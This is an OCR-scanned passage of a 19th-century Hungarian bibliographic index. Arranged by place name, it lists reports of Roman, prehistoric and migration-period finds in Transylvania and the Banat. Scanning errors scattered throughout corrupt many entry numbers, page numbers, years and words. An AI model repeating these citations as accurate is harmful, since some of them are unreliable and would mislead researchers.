L. Archaeologiai Közlemények (Pest) VII. k. ( 1868) 222—223. 1., 18) sz.
Í3. — Marosportuson talált római régiségek. — L. ( 'ipariu, Archivu pentru
filológia si ktoria (Blasiu) 1869. évf., XXII, sz., Í40. 1. ; XXIII. sz.,
ítií. 1. iNotitie diverse).
44. — Apulumi Mithras-ábrázolat. — L. Archaeologiai Értesítő iPest) I. k.
(1869) 20. 1. (v. ö. Welt-Ausstellung 1873 in Wien. Ofjicieller Kumt-
Catalog [Gruppé XXIII — XXV.] Dritte Auflage. Wien, 1873.8r. -
52. 1.. :!. Abtheilung, Í-. sz.)
45. — Károlyfehérvárt lelt római téglák. — L. Archaeologiai Értesítő (Pest)
II. k. (1870) 18. 1.
-
11<; III., Hammersdorf— Jenő, 46 — 50.
H.
Hammersdorf. — L. Szenterzsébet.
Háromszék. — L. /. rész, 551, 823. sz.
Hermannstadt. — L. Nagyszeben.
Hermány. — L. /. rész, 5, 520, 620, 686. sz. L. még: Kastenholz.
Hévíz. — L. /. rész, 833. sz. — L. még: Szász-Ugra.
Holczmány. — L. /. rész, 33. sz.
Holzmengen. — L. Holczmány.
46. Hosszv'mező. Hosszúmezon, Nereznyiczén és ( Máramaros- iSzigeten
talált bronzrégiségek. — L. Magyar Akadémiai Értesítő 1843. (TV.)
évi'.. 70—71. 1. (v. ö. u,o., 49. 1.)
Hosszútelke. — L. /. rész, 4(30. sz.
Huny ad. — L. BánfFy-Hunyad, Vajda-Hunyad.
Hunyadmegye. — L. /. rész, 204, 214, 216, 217, 750, 800, 815, 834. sz.
— //. rész, 20. sz.
47. — Kómái régiségek Hunyad vármegyében. — L. Hon és Külföld (Ko-
lozsvár) 1844. évf„ 76. sz., 301—304, 305—307. 1.
48. — Hunyadmegyében talált római márványszobor. — - L. A békésvár-
megyei régészeti és mivélődéstörténélmi társulat évkönyve (B. — Gyula)
I. k. (1875) 163—164.1.
I.
lka-vár ( Háromszékben). — L. /. rész, 195. sz.
Ilosva. — L. Alsó-Ilosva.
Iratos. — L. Nagy-Iratos.
19. Ittebe. Ittebén talált római ezüstérmek. - - L. Archaeologiai Értesítő
(Pest)I. k. (1869) 13.1., 92. sz.
50. Jánk. Jánkon talált cserépedények. — Íj. Archaeologiai Közlemények
(Pest) YILk. (1868) 221. L, 16. sz.; 226. 1., 10. sz.
Jenő. — L. Borosjenő.
III., Jezvin— Kereki, 51—58. 117
51. Jezvin. Jezvin en talált (népvándorláskori ?) arany függők. I-. Törté-
nelmi és régészeti értentói a délmagyarországi történelmi ét
társulat közlönye (Temesvár] III. k. < 1 x 7 7 > 77. 1.
K.
52. Kajanel. Kajanelben (Zarándmegyében) talált római ezüstérmek. — L.
' 'iparúi, - Irchivu yentru filológia si istoria iBlasiui 1870. évf., XXXI. sz.,
624. 1. iXotitic diverse).
Kalanfileszká i Bukarest mellett). — L. 1. rész, 58. sz.
53. Kapriora. Kapriorán talált ezüstérmek. - — L. Történelmi és régészed
értesítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvárin, k. | 1876) 104.1.
i"»í. Karácsonfalva. Karácsonfalván talált római rézérem. — L. Cipariu,
Archivu pentru filológia si istoria (Blasiu) 1870. évf., XXXV. sz., 704.1.
(Notitie diverí
55. Karakal. Karakaii római régiségek. — L. Unterhaltungsblatt für Geist,
Gemüth und Publizitat (Kronstadt) 1837. évf., 7. sz., 56. 1.
56. Karánsebes. Érdekes archaeologiai lelet Karánsebesen (római feliratos
kő, stb.). — L. Orthmayr-Szentkláray, Történelmi adattár Csanád-egy-
házmegye hajdana és jelenéhez (Temesvár) II. k. (1872) 369 370.1.,
és Archaeologiai Értesítő (Budapest) VII. k. (1873) 103 104.1.-
Karánsebesen talált római feliratos kő. — Történelmi és régészeti érte-
sítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) I. k. i 1875) Ib. 1. (v. ö. u. o., H. 1.)
Karány. — L. Mer cy falva.
Karlsburg. — L. Gyulafehérvár.
Károlyfehérvár. — L. Gyulafehérvár.
57. Kastenholz. Der Heidenkirchhof zwischen Kastenbolz und (lieresau.
- L. Tramsilvania, Beiblatt zum Siebenbürger Botén (Herrnann-
Btadt) 1844. évf.. 56. sz.. 249 250.1.; 57. sz.. 255 256.1.— L.
Herrnány.
Kaszaper. — L. Tarhos 122. sz.
Kecskekő (vár). — L. VI. rész, 68. sz.
5s. Kereki. Kerekiben lelt barbárkori répbögre. - L. Történelmi és
118 III., Kersetz— Kolozsvár, 59 — 66.
régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) V. k. (1879) 80, 152. 1.
Kersetz. — L. /. rész, 245, S00. sz.
59. Kéve. Kévén (Rubinban) talált barbárkori régiségek (több darab magyar-
kori). — L. Történelmi és régészeti értesítő, a délmagyarországi törté-
nelmi és régészeti társulat közlönye (Temesvár) IV. k. (1878) 100,
135. 1.
60. — A kevei (kubini) vármaradványok az Al-Dunánál, Temesmegycben.
— L. Történelmi és régészeti értesítő, a délmagvarországi történelmi
és régészeti társulat közlönye (Temesvár) IV. k. ( 1878) Kii. 1.
Kézdivásárhely. — L. /. rész, ISO, 226, 345, 355, 079. sz.
(11. — Kézdivásárhelyi régiségek. — L. lLm és Külföld (Kolozsvár) Isii.
évi*., 50. sz., 233 — 234. 1., és német rövidlete : Kézdi-Vásárhelyer
Alterthümer, 1. Transsilvania, Beiblatt zum Siebenbürger Botén
(Hermannstadt) isii. évf., 78. sz., 356. 1.
(52. Kis-Becskerek. Kis-Becskereken talált római rézérem. — L. Történelmi
és régészeti értesítő, a délmagyarországi történelmi és régészeti tár-
sulat közlönye (Temesvár) IV. k. (1878) 33. 1.
Kis-Pereg. — L. I. rész, 572. sz.
Kis-Selyk. — L. /. rész, 20, 479, 480, 4S2. sz.
03. Kisoda. Kisodán talált római rézérem. — L. Történelmi és régészeti értesítő,
a délmagyarországi történelmi és régészeti társulat közlönye (Temes-
vár) III. k. (1877) 27.1.
Gi. Kistorony. Kistorony mellett talált római érmek. — L. Oipariu., .!>■-
chivu pentru filológia si ist<>ri« (Blasiu) 1869. évf., XXI. sz., 424. 1.
(Notitie diverse).
Klausenburg. — L. Kolozsvár.
Kleinschelken. — L. Kis-Selyk.
05. Köfarka. Kőfarkán lelt obsidián-kés és kovaeszközök. — L. Archaeofogiai
Értesítő (Pest) in. k. (1870) 243. 1.
Kolczvár. — L. Malomvíz.
Kolozsvár. — L. /. rész, 07, 187, 300, 317, 342, 391, 307, 536, 537,
748, 795, 817. sz. — 17. rész, 10. sz.
66. — Nachricbt über die im Sommer 1822 in Klausenburg entdeckten
Alterthümer. — L. Unterhaltungsblatt für Geist, Gemüth >nvl Publi-
dtat (Kronstadt) 1837. évf., 14. sz., 110—112.1.; 15. sz., 117.1.—
L. még : /. rész, 07. sz.
III., Kolozsvár— Majdan, 67—73. 119
67. — Kegyeletien rombolás (Kolozsvárt). L. Kolozsvári Közlöny Isö7.
évi., 18. bz., 209.1. ; és Schütz József válasza : Korunk (Kolozsvár) I s*>7
évf., 49. sz. (Nyílttér).
6S. — Kolozsvárt ;i íópiaczon lelt római régiségek. — L. Archeológiai Ér-
tesítő (Pest) V. k. (1871) 105.1., 38. sz.
60. — Kolozsvárt lelt római sarcophag. — L. Kolozsvári Közlöny 1872.
(XVII.) évf., 236. sz. (Újdonságok) : Archaeologiai Értesítő (Budapest)
VII. k. (1873) 27. 1.
Kolozsvár vidéke. — L. /. rész, 1 19. sz.
7U. Közép-Apsa. Közép-apsai bronz tárgyak. - L. Archaeologiai Értesítő
(Pest)I. k. (1869) 19. 1.
Krassómegye. — L. /. rész, 473. 1.
Kraszna-Mihályfalva. — L. 1. rész, 576. 1.
Kubin. — L. Kéve.
Kúdu. — L. I. rész, 245, s00. sz. — L. még: Tordos 129. sz.
71.Kuzsir. Adalék érmészetünkhez (Kuzsiron lelt barbár érmek). -- L.
Archaeologiai Értesítő (Pest) III. k. ( Is70) 88—90. 1.
L.
Liget. — L. I. rész, 6 1 .'!. sz.
"2. — Ligeten talált (római?) dénárok. — L. 'L'<:>rtf)irlmi és régészeti értesítő,
a délmagyarországi történelmi s régészeti társulat közlönye (Temes-
vár) II. k. (1876) i2— 43. 1.
Lippa. — L. T. rész, 570. sz.
M.
7:1. Maczedónia. Maczedónia község határán lelt barbárkori régiségek. -
L. Történelmi és r.:i>s:,n' értesítő, a délmagyarországi történelmi és
régészeti társulat közlönye (Temesvár) Y. k. i 1879 ""s 89. 1.
Mágocs. — L. Tarhos 122. sz.
Magyar-Peterd. — L. VI. rész-, 22. sz.
Magyar-Nádas. — L. /. rész, i05. sz.
Majdan. — L. Ó-Béba.
120 III., Malomvíz— Mojgrád, 74—79.
Malomvíz. — L. VI. rész, 74. sz.
Máramarosmegye. — L. /. rész, 423, S:J7. sz.
74. — Máramarosmegyei őskori aranykarikák. — L. Archaeologiai Értesítő
(Budapest) XIII. k. (1879) 195. 1.
Máramaros-Sziget. — L. Hosszúmező.
Marosnémeti. — L. I. rész, 215. sz. — 17. rész, 15. sz.
Marosporto. — L. Gyulafehérvár.
Marosportus. — L. Gyulafehérvár.
Marosszék. — L. I. rész, 75, 551, 003. sz.
Marosvásárhely. — L. Bánffy-Hunyad.
Medgyesszék. — L. //. rész, 21. sz.
Mehádia. — L. /. rész, 118, 165, 214,475, 521, 570, 698, 725. sz. —
/ 1". rész, 24. sz.
75. — A mehádiai ú. n. Rabló-barlang régészeti átkutatására s megvizsgálá-
sára kiküldött bizottság jelentése. — L. A magyar orvosok és természet-
vizsgálók munkálatai (Budapest) XVI. k. (1872) 73. 1. (v. ö. u. o., 70.1.,
7. sz. ; 71. 1., 1. sz.)
76. — Mebádián lelt római ezüstérmek. — L. Történelmi és régészeti értesítő,
a délmagyarországi történelmi és régészeti társulat közlönye (Te-
mesvár) V. k. (1879) 129. 1.
Mehburg. — L. Benne.
77. Mercyfalva. A Mercyfalva (a régi Karány) mellett elhúzódó avarsáncz-
ban lelt őrlőkő. -- L. Történelmi és régészeti értesítő, a délmagyaror-
szági történelmi és régészeti társulat közlönye (Temesvár) IV. k.
i 1878) 147. 1.
Mező-Bánd. — L. /. rész, 273. sz.
Mező-Berény. — L. /. rész, 351. sz.
78. Mihályfalva. Mihályfalván (Felsőfehérmegyében) talált kőkorbeli régi-
ségek. — L. .1 magyar orvosok és természetvizsgálók munkálatai (liuda-
pest)XVHI. k. (1875) 57.1.
— (Zarándmegyében?). — L. /. rész, 140, 577. sz. — L. még: Kraszna-
Mihályfalva.
Mikháza. — L. 1. rész, 148, 303. sz. — VI. rész, 39. sz.
Mócs. — L. /. rész, 804. sz.
Mojgrád. — L. /. rész, 139. sz.
79. Mojgrádí római felírat és amphitheatrum. — L. Blatter fúr Geist*
III., Moldova Nyíres, 80—83. 121
i,, mulli und Vaterlandskunde (Kronstadt) I857. évi., 14. bz., 87. 1.
i Miscelles ).
Moldova. — L. Új -Moldova.
Mühlbach (vagy Mühlenbach). — L. Szászsebes.
Muncsel (a muncseli Grediste). L. I. rész, 302, 593. sz. - VI. rész,
62, 63. sz.
N.
Nádas. — L. Magyar-Nádas.
Nagy- Ápold. - — L. /. rész, ~jí<>. sz.
Nagy-Becskerek. — L. /. rész, 564. sz.
Nagy-Boldogasszony. — L. Csík-Nagyboldogasszony.
Nagy-Ekeinező. — L. /. rész, 479, 481, 483. sz.
Nagyenyed. — L. 1. rész, 741. sz. — //. rész, 28, 2!». sz. — VI. rész, 74. sz.
NO. Nagyfalu. Oshalmok a nagyfalusi határon (Szilágymegyében). — L. Ar-
chaeologiai Értesítő (Budapest) XIII. k. (1879) 244.1.; Benndorf-
Hirschfeld, Archaeologischepigraphüche Mittheilungen aus < hsterreich
(Wien) III. k.(1879) 93. 1.,*) jegyzet.
Nagyfalu. (Torontálniegyében). — L. Perjámos.
Nagy-Gáj. — L. Detta.
81. Nagy-Iratos. Nagy-Iratoson talált őskori (?) ezüst dísztárgy. — L. Tör-
ténelmi és régészeti értesítő, a délmagyarországi történelmi és régé-
szeti társulat közlönye (Temesvár) III. k. (1877) 24. 1.
Nagy-Kereki. — L. Kereki.
Nagyszeben. — L. 1. rész, 4-03. sz.
82. Nagyszebenben lelt római érmek. — L. Hermannstadter Zeitung ver-
einigt mit dem Siebenbürger Botén 1868. évf., 297. sz., 1333. 1. (Inland.
Hennannstadt, 12. Dezember).
Nándor (és Nándor-Válya). — L. /. rész, 245, 757, 758, 759, 800. sz.
N3. — Három ős telep Nándor és Nándorvalea hunyadmegyei helységek
határán. — L. Magyar Polgár, politikai napilap (Kolozsvár) 1876.
(X.) évf., 132. sz. (Hírharang.,".,).
Németi. — L. Marosnémeti.
Neppendorf. — L. Kistorony.
Nereznyicze. — L. Hosszúinező.
Nyíres. — L. Szásznyíres.
122 III., O-Arad— Osdola, 84—91.
o.
0 Arad. — L. /. rész, 285. sz.
O-Béba. — L. /. rész, '■'>!. sz.
84. — O-Bébán, Majdanon és Rabén lelt barbárkori régiségek (edények,
bronzvéső, stb.). — L. Történelmi és régészeti értesítő, a délmagyaror-
szági történelmi és régészeti társulat közlönye (Temesvár) IV. k.
(1878) 147. 1. — L. még : u. o., 162—163. 1.
85. Ojtoz. Nagy (római) ezüstérem lelet az ojtozi szorosnál. — L. Történelmi
és régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) III. k. (1877) 195. 1.
Olasztelek. — L. /. rész, 26, 31. sz.
Oltszem. — L. VI. rész, 20. sz.
Orbaiszék. — L. Czófalva.
Orczyfalva. — L. Vinga 140. sz.
Orsova. — L. /. rész, 553. sz.
86. — Orsován talált (barbárkori?) bögre. - L. Történelmi és n'<ics~i>ti
értesítő, a délmagyarországi történelmi és régészeti társulat közlöny*1
(Temesvár) I. k. (1875) 184. 1.
87. — Orsován talált római fogadalmi-oltár részlete s más római régiségek.
- L. Történelmi és régészeti értesítő, a délmagyarországi történelmi
és régészeti társulat közlönye (Temesvár) III. k. ( 1877) 80. 1.
SS. — Orsován lelt római tégla és kisded sarcopliag. — L. Történelmi és
régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) IT. k. (1878) 32—33. 1.
89. Orsova vidékén talált római tégla. -- L. Történelmi és régészeti érte-
sítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) III. k. (1877) 117. 1.
90. — Orsova környékén lelt római oltár- s díszítménytöredék. -- L. Tör-
ténelmi és régészeti értesítő, a délmagjwországi történelmi és régészeti
társulat közlönye (Temesvár) IV. k. (1878) 135. 1.
ÍM. Osdola (Erdélyben?). Osdolán lelt görög érmek. — L. Archaeologiai Kr-
tesítő (Pest) VI. k. (1872) 319. 1.
III., Palánka— Probstdorf. 92—97. 123
P.
Palánka. - L. /. rész, 91. sz.
92. Parácz. Őskori telep Paráczon. — L. Történelmi és régészeti értesítő, a
délmagyarországi történelmi és régészeti társulat közlönye (T<
vár) III. k. (1877) 9G. 1.
Paulis. — L. I. rész, 151. sz.
— L. Új -Paulis.
Pékla. — L. Puszta-Pékla.
Pereg. — L. Kis-Pereg.
93. Perjámos. Perjámos és Nagyfalu között talált bronzkés, szarvasagencs
és emberi csontváz. — L. Történelmi és régészeti értesítő, a délma-
gyarországi történelmi és régészeti társulat közlönye (Temesvár)
V. k. (1879) 83, 152.1.
Peterd. — L. Magyar-Peterd.
94. Péterfalva. Péterfalvi őskori pogány sír. — L. Ország i Pesl I 1863. 1 1.
évf., 34. sz. (Újdonságok). L. még : Petersdorf.
Petersdorf. — L. Péterfalva.
95. — Ueber die Heidengráber bei Petersdorf. — L. Archív des Vereinesfür
siebenbürgische Landeskunde (Kronstadt) N. F. VI. k., 2. f. (1864)
437—443. 1.
Petrósa. -- L. 7. rész, 44, 83, 234, 205, 431, 432, t33, 160, 526, 5í::.
7ni>. sz. — 17. rész, 52, 94. sz.
90. — A petróssai aranylelet. — L. Archaeoloijiai Értesítő (Pesti II. k.
(1870) 99—100.1.
Petrosány (és nem Petrozseny). — L. /. rész , 323. sz.
97. Petrozseny. Petrozsenyben (és nem Petrusenyben) 1869. aug. 25-én
lelt görög és római ezüstérmek. — L. A magyar orvosok és természet-
vizsgálók munkálatai (Pest) XIV. k. (1869) 93. 1., 4. sz. ; és Archaeo-
logiai Értesítő (Pest) III. k. (1870) 28 — 29. 1. (mint petrusenyi
lelet említve).
Pold. — L. Grosspold.
Pons vetus. — L. Hévíz, Szász-Ugra és /. rész, 832. sz.
Portus. — L. Gyulafehérvár.
Pozsezsena. — L. Szerb-Pozsezsena.
Probstdorf. — L. Gross-Probstdorf.
124 III., Puszta-Pékla- Segesvár, 98—102.
OS. Puszta-Pékla. Puszta-Példán talált barbárkori régiségek (közülök né-
hány valószínűleg népvándorláskori). — L. Történelmi és régészeti ér-
tesítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) V. k. | 1879) 80—81, 152. 1.
Rabé. — L. Ó-Béba.
Rákos. — Csík-Rákos.
99. Rékas. Rékasi éremlelet. — L. Történelmi és régészeti értesítő, a délma-
gyarországi történelmi és régészeti társulat közlönye (Temesvár)
IV. k. (1878) 162.1.
Reussmarkt. — L. Szerdahely.
100. • — Ein bei Reussmarkt in Siebenbürgen aufgefundenes Grab. — L.
Mittheilungen der k. h. Central- Commission zur Erforschung und Er-
haltung der Baudenkmále (Wien) IV. k. (1859) 110. 1.
Romlott. — L. 1. rész, 316. sz.
Rónaszék. — L. /. rész, 730. sz.
101. Rozsály. Barbárkori arany- és bronztárgyak Rozsályban. — L. Archaeo-
logiai Értesítő (Budapest) XII. k. (1878) 34. 1.
S.
Salinae. — L. Torda (de a hol nem Salinae, hanem Potaissa feküdt).
Salzburg. — L. Vízakna.
Sárd. — L. VI. rész, 74. sz.
Sáremberke (vagy Sáromberke). — L. 7. rész, 166. sz.
102. — Sargón (?, Scharemberg) lelt római ezüstérmek. -- L. Archaeolo-
giai Értesítő (Pest) III. k. (1870) 28. 1.
Sárközújlak. — L. /. rész, 140. sz.
Sarmizegetusa. — L. Várhely.
Schássburg. — L. Segesvár.
Sebesváralja. — L. VI. rész, 12. sz.
Segesvár. — L. /. rész, 189, 500, 511. sz.
III., Segesvár Székelyudvarhely, 103 110. 12.%
103. Segesvárt talált pogány sír. - L. Pesti Napló 1861. (XII.) évi,
257. sz. (Különfélék.)
Segesvárszék. — L. //. rész, ■'<■'>. sz.
Seiburg. — L. Siberk.
Siberk. — L. I. rész, 237, 390. sz.
104. Slatina. Slatinán talált római feliratos kő. - L. Történelmi és régészed
értesítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) I. k. (1875) 45. 1. (v. ö. u. o., 44. 1.)
Somlyó. — L. Szilágysomlyó.
105. Sóvárad. Sóváradon lelt római feliratos téglák és emlékkő. - - L. Ar-
chaeolo'giai Értesítő (Pest) I. k. (1869) 317—818. 1.
Spring. — L. II. rész, 38. sz.
Sz.
10<>. Szacsva. Barbárkori arany- és kőrégiségek. — L. Kelet, politikai és
közgazdasági napilap (Kolozsvár) 1877. (VII.) évi'., 210. sz., 911. 1.
107. Szakáiháza. Szakáiházán lelt barbárkori színes agyag (?) gyöngyök. -
L. Történelmi és régészeti értesítő, a délmagyarországi történelmi és
régészeti társulat közlönye (Temesvár) V. k. ( 1879) 17. 54. 1.
Szakos. — L. Török-Szákos.
Szamosújvár. — L. /. rész, 791, 843. sz.
108. Szarvas. Barbárkori régiség leletek Szarvason. — L. .1 békésvármegyei
régészeti és míveWdéstörténélmi társulat évkönyve (B.-Gyula) IV. k.
(1878) 200. 1., 7. sz.
Szarvaszó. — L. I. rész, 034. sz.
10'.). Szásznyíres. Szásznyíresen talált kőbalta. — L. Cipariu, Archivu
pentru filológia si istoria (Blasiu) 1809. évf., XXII. sz., 440. 1. (Notitie
diverse).
Szászsebes. — L. /. rész, 81, 694. sz.
1 10. Szász-Ugra. Zwei alté Castelle bei Gált und Hévíz. — L. Satellit
des Siebenbürger Woclienblattes (Kronstadt) 1845. évf., 12. sz.,
50—51.1.
Szatmármegye. — I;. /. rész, 259. sz.
Szecsel. — L. Balázsfalva 8. sz.
Szeben. — L. Nagyszeben.
Székelyudvarhely. — L. /. rész, 124, 727, 751. sz.
12fi III., Székelyudvarhely— Szörénytorony, 111—120.
111. Kómái nyomok Udvarhely városában. — L. K. Papp Miklós, Törté-
neti Lapok (Kolozsvár) I. k. (1874) 9. sz., 137—138. 1. (Udvarhely
múlt századi monographiájához).
112. — Székelyudvarbclvi (és nem székely-udvarhelyszéki) régiségek. —
L. Árchaeologiai Értesítő (Budapest) VIII. k, (1874) 100. 1., 21. sz.
Székudvar. — L. I. rész, 366. sz.
Szelestye. — L. Felső-Szelestye.
I 13. Szelistye. Szelistyén (Zarándmegyében) talált római ezüstérem. —
L. Cipariu, Archivu pentru filológia si istoria (Blasiu) 1870. évf.,
XXXIV. sz., 680. 1. (Notitie diverse).
Szenterzsébet. — L. /. rész, 622, 641. sz.
I I i . Szerb-Pozsezsena. Szerb-Pozsezsenán talált római feliratos tégla. —
L. Történelmi és régészeti értesítő, a délmagyarországi történelmi és
régészeti társulat közlönye (Temesvár) V. k. (1870) Ki. 1.
Szerdahely. — L. /. rész, 24. sz. — L. még: Reussmarkt 100. sz.
Sziget. — L. Máramaros-Sziget.
Szilágysomlyó. — L. IV. rész, 27. sz. — VI, rész, 86. sz.
115. — Szilágysomlyón 1856-ban talált arany karperecz. — L. Árchaeologiai
értesítő (Pest) II. k. (1870) 55. 1.
1 Ki. — Syilágysomlyón (?) talált Lysimachus- és Alexander-féle arany- és
Philippus-féle barbár érem. — L. Árchaeologiai Közlemények (Buda-
pest) IX. k., 1. f. (1873) 62 (voltaképen 80.) 1.
Szind. — L. /. rész, 198. sz.
117. Szlatina. A szlatinai sóaknában talált ősbányamívelési eszközök. —
L. .í magijai- orvosok és természetvizsgálók munkálatai (Budapest)
XIX. k.( 1876) 41.1.
Szörénymegye. — L. I. rész, 474, 594. sz.
Szörénytorony. — L. /. rész, 296. sz.
118. — Szörénytoronyban talált római téglák. — L. Árchaeologiai Értesítő
(Budapest) VIII. k. (1874) 225. 1., 37. sz.
119. — Szörénytoronyban lelt római sír, téglák. -- L. Történelmi és régé-
szeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) I. k. (1875) 34. 1.
120. — Szörénytoronyban talált római sír és járulékai, ú. m. ólomkoporsó,
aranyékszerek stb. — L. Történelmi és régészeti értesítő, a délmagyar-
országi történelmi és régészeti társulat közlönye (Temesvár) II. k.
(1876) 38, 14.1. —III. k. (1877) 80.1.
III., Szörénytorony— Tordamegye, 121—128. 127
Római síremlékkő Szörénytoronyban. - L. Történelmi és régészeti
értesítő, a délmagyarországi történelmi és régészeti társulat közli
(Temesvár) H. k. (1876) 212 213. 1.
T.
Tarhos. — L. /. rész, 266. sz.
122. — Barbárkori telepek Tarhoson, Mágocson, Kaszaperen és Dobozon.
— L. A békésvármegyei régészeti és mívelődéstörténelmi társulat év-
könyve (B.-Gyula) IV. k. (1878) 197. 1.. 5. sz. (v. ö. u.o., 195.1.,
1 8. sz.)
Temesmegye. — L. /. rész, 110. sz.
Temesvár. — L. /. rész, 158, 168, 553, 605. sz.
123. — Temesvárt talált római érem. — L. Történelmi és régészeti értesítő,
adélmagyarországi történelmi és régészeti társulat közlönye (Te-
mesvár) I. k. (1875) U. 1.
[24. — Temesvár közelében «a vadász erdőben* lelt római régiségek. —
L. Történelmi és régészeti értesítő, a délmagyarországi történelmi és
régészeti társulat közlönye (Temesvár) II. k. (1870) 10i, 105. 1.
Tepej szorosa (Udvarhelyszékben). — L. I. rész, 550. sz. — L. még:
Ürmös.
125. Tibód. Münzenfund zu Tibód im Udvarhelyei- Bezirke. — L. Mitthei-
lungen der k. k. t 'oitral-i 'ommission ://>• Er/orschung ini<l Erhaltung
der Baudenkmale (Wien) I. k. i 1856) 15. 1.
126. Tisza. Tiszán lelt görög és római ezüstérmek. — L. Archaeologiai Ér-
tesítő i Budapest) VII. k. 1 1873) 70— 71. 1., 21. sz.
Titel. — L. /. rész, 338, 339, ^U). 311. sz.
127. — Titeli római feliratos kőoszlopok. — L. Történelmi és régészeti
sitő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) II. k. (1876) 13, 102. 1.
Torda. — L. /. rész, 82, 181, 350, ÍM. 530. sz. — II. rész, 37. sz. —
VI. rész, 13, 22. 23, 40, W. 50, 58, 85, 86, 96. sz.
128. — Tordán az loláh-várbam talált római régiség. — L. Cipariu, Archív u
pentruJUologia si istoria (Blasiu) 1869. évf., XXIII. sz.,464. 1. (Notitie
diverse).
Tordamegye. — L. /. rész, 178. sz.
128 III., Tordos— Vajda-Szentivány, 129-133.
Tordos. — L. /. rész, 150, 245, 757, 758, 7:.!). 800. sz.
129. Erdélyi őscsont-, kő-, cserép- és bronz-lolethelyek (Tordos, Kúdu). —
L. Archaeologiai Értesítő (Budapest) IX. k. i 1875) 186. 1., 1-0. sz.
Török-Becse. - I,. /. rész, 745. sz.
Török-Szákos. — L. /. rész, £72. sz.
130. — Török-Szákos vidékén levő földvárak s kornyékén lelt régiségek. —
L. Történelmi és régészeti értesítő, a délmagyarországi történelmi és
régészeti társulat közlönye (Temesvár) III. k. ( 1877) 83. 1.
Torontálmegye. — L. /. rész, 57, 171. 746. sz.
Torony. — L. Kistorony.
(Trajanus hídja és táblája). — L. /. rész, 47, i'.'. "><'>, 359, 156, 73.1. sz.
— //. rész, 41, 42, 43. sz.
Tűre. — L. VI. rész, 59, 71. sz.
Turnu vagy Turnu-Severin. — L. Szörény torony.
u.
Udvarhely. — L. Székelyudvarhely.
Udvarhelyszék. — L. /. rész, 551, 751, 823. sz.
Új -Becse. — L. I. rész, 745. sz.
Újlak. — L. Sárközújlak.
Új-Moldova. — L. I. rész, 185. sz.
131. — Az Új-Moldova közelében levő romok (római állótábor). — L. Tör-
ténelmi és régészeti értesítő, a délmagyarországi történelmi és régé-
szeti társulat közlönye (Temesvár) I. k. ( L875) 99, 103. 1.
Új-Paulis. — L. /. rész, 140, 813, 814. sz.
132. — Paulison (Arad- vagy Temesmegyében ?) talált római régiségek. —
L. Történelmi és r<<i<]szeti értesítő, a délmagyarországi történelmi és
régészeti társulat közlönye (Temesvár) II. k. (1876) 95. 1.
Ürmös. — L. /. rész, 283. sz. — L. még : Tepej szorosa.
V.
Vajda-Hunyad. — L. /. rész, 201,675, 680, 681. sz.
133. Vajda-Szentivány. Vajda-Szentiványon lelt római ezüstérmek. —
L. Cipariu, Archivu pentru filológia si isturia (Blasiu) 1869. évf.,
XXI. sz., 424. 1. (Notitie diverse).
III., Válya Zágon, 134—141. 129
Válya. - L. Nándor-Válya.
Vártaivá. L. /. rész . 107. bz. - VI. rész, 18, 51. bz.
Várhely. — L. /. rész, I, 69, 102, 251, 304,325, 344, 346, 376, 796. bz.
— VI. rész, 32, 63. bz.
134. Várhelyen talált római ezüst- és rézérem. — L. Cipariu, Arcliivu
pentru filológia si istoria (Blasiu) 1870. évf., XXXUL bz., 664. 1.
(Notitie di verse).
135. — A Bécsbe szándékolt szállítás alatt a Dunába és Marosba sülyedl
bánáti és várhelyi római műemlékek felkutatása. — L. Arehaeologiai
Közlemények (Pest) VIII. k. (1871) 216. 1.
Vásárhely. — L. Kézdivásárhely, Marosvásárhely.
13.6. Vécs. A vécsi római állótábor. — L. A magyar orvosok és természetvizs-
gálók munkálatai (Pesti X. k. ( 1864) 79—80. 1.
Veczel. — L. /. rész, l'.»7 (veczeli), 215, 783. sz.
137. - Déva mellett (valószínűleg Veczelen) talált római feliratos emlékkő.
— L. Vasárnapi Újság (Pest) 1865. (XII.) évi'.. 19. sz., 229. 1. (Mi
ajság?).
138. — Veczelen talált római feliratos kő. — L. Pesti Hírnök 1865. (VI.)
évf., 103. sz. (Vegyesek. Római régiségek i: Sürgöny (Pest) 1865.
(V.) évf., 105. sz. (Tárcza. Napi újdonságok.)
Verespatak. Verespataki római viaszos táblák, 1. : /. rész, 3,66, III. 122,
125, 127, 128, 129, 132, 159, 160, 161, 182, 184, 200, 328, 333, 347,
348, 349,357, 158, í-59, Í94, 531, 535,835,836. sz. — II. rész,
29. sz.
Vincz. — L. Alvincz.
130. Vinga. Vingán talált (barbárkori?) bronz csákány - L. Történelmi és
régészeti értesítő, a délmagyarországi történelmi és régészeti társulat
közlönye (Temesvár) I. k. ( 1875) 185. 1.
140. — Yinga és Orczyfalva között lelt gyűrűk, hajtű, karperecz. — L. Ar-
ehaeologiai Értesítő (Pest) IV. k. (1870) 77. 1.. 10. sz.
Vízakna. — L. /. rész, 763. sz.
Hl. Zágon. Zágonban lelt bronz régiségek. — L. Történelmi és rég
értesítő, a délmagyarországi történelmi és régészeti társulat közlönye
(Temesvár) III. k. (1877) 195. 1.
Repertórium. !i
130 III., Zalatna-Zsoszán, 142—145.
Zalatna. — L. /. rész, 323, í í<>. sz.
I í-J. Zám. Komái feliratos kövek, szobrok s műemlékek Zámon. - L. Ar-
chaeologiai Értesítő (Pest) I. k. (1869) 119. 1.. 27. sz. (v. ö. u. o.,
187. 1., c) bz.). — Római oszlopfő ugyanott. 1. //. o., II. k. (1870)
55—56. 1.
Zsadány. — L. /. rész, 592. sz.
1 í-3. Zsenna. Zsennán talált római bronz kéz. -- L. Történelmi és régészeti
értesítő, a délmagyarországi történelmi és régészeti társulat közlö-
nye (Temesvár) II. k. (1876) 163 1.
Zsibert. — L. Siberk.
Zsidovin. — L. 1. írsz, 318, 554, 555, 556. sz.
Ili. — Zsidovinban lelt római feliratos tégla. — L. Történelmi és régészeti
értesítő, a délmagyarországi történelmi és régészeti társulat közlö-
nye (Temesvár) V. k. (1879) 46. 1.
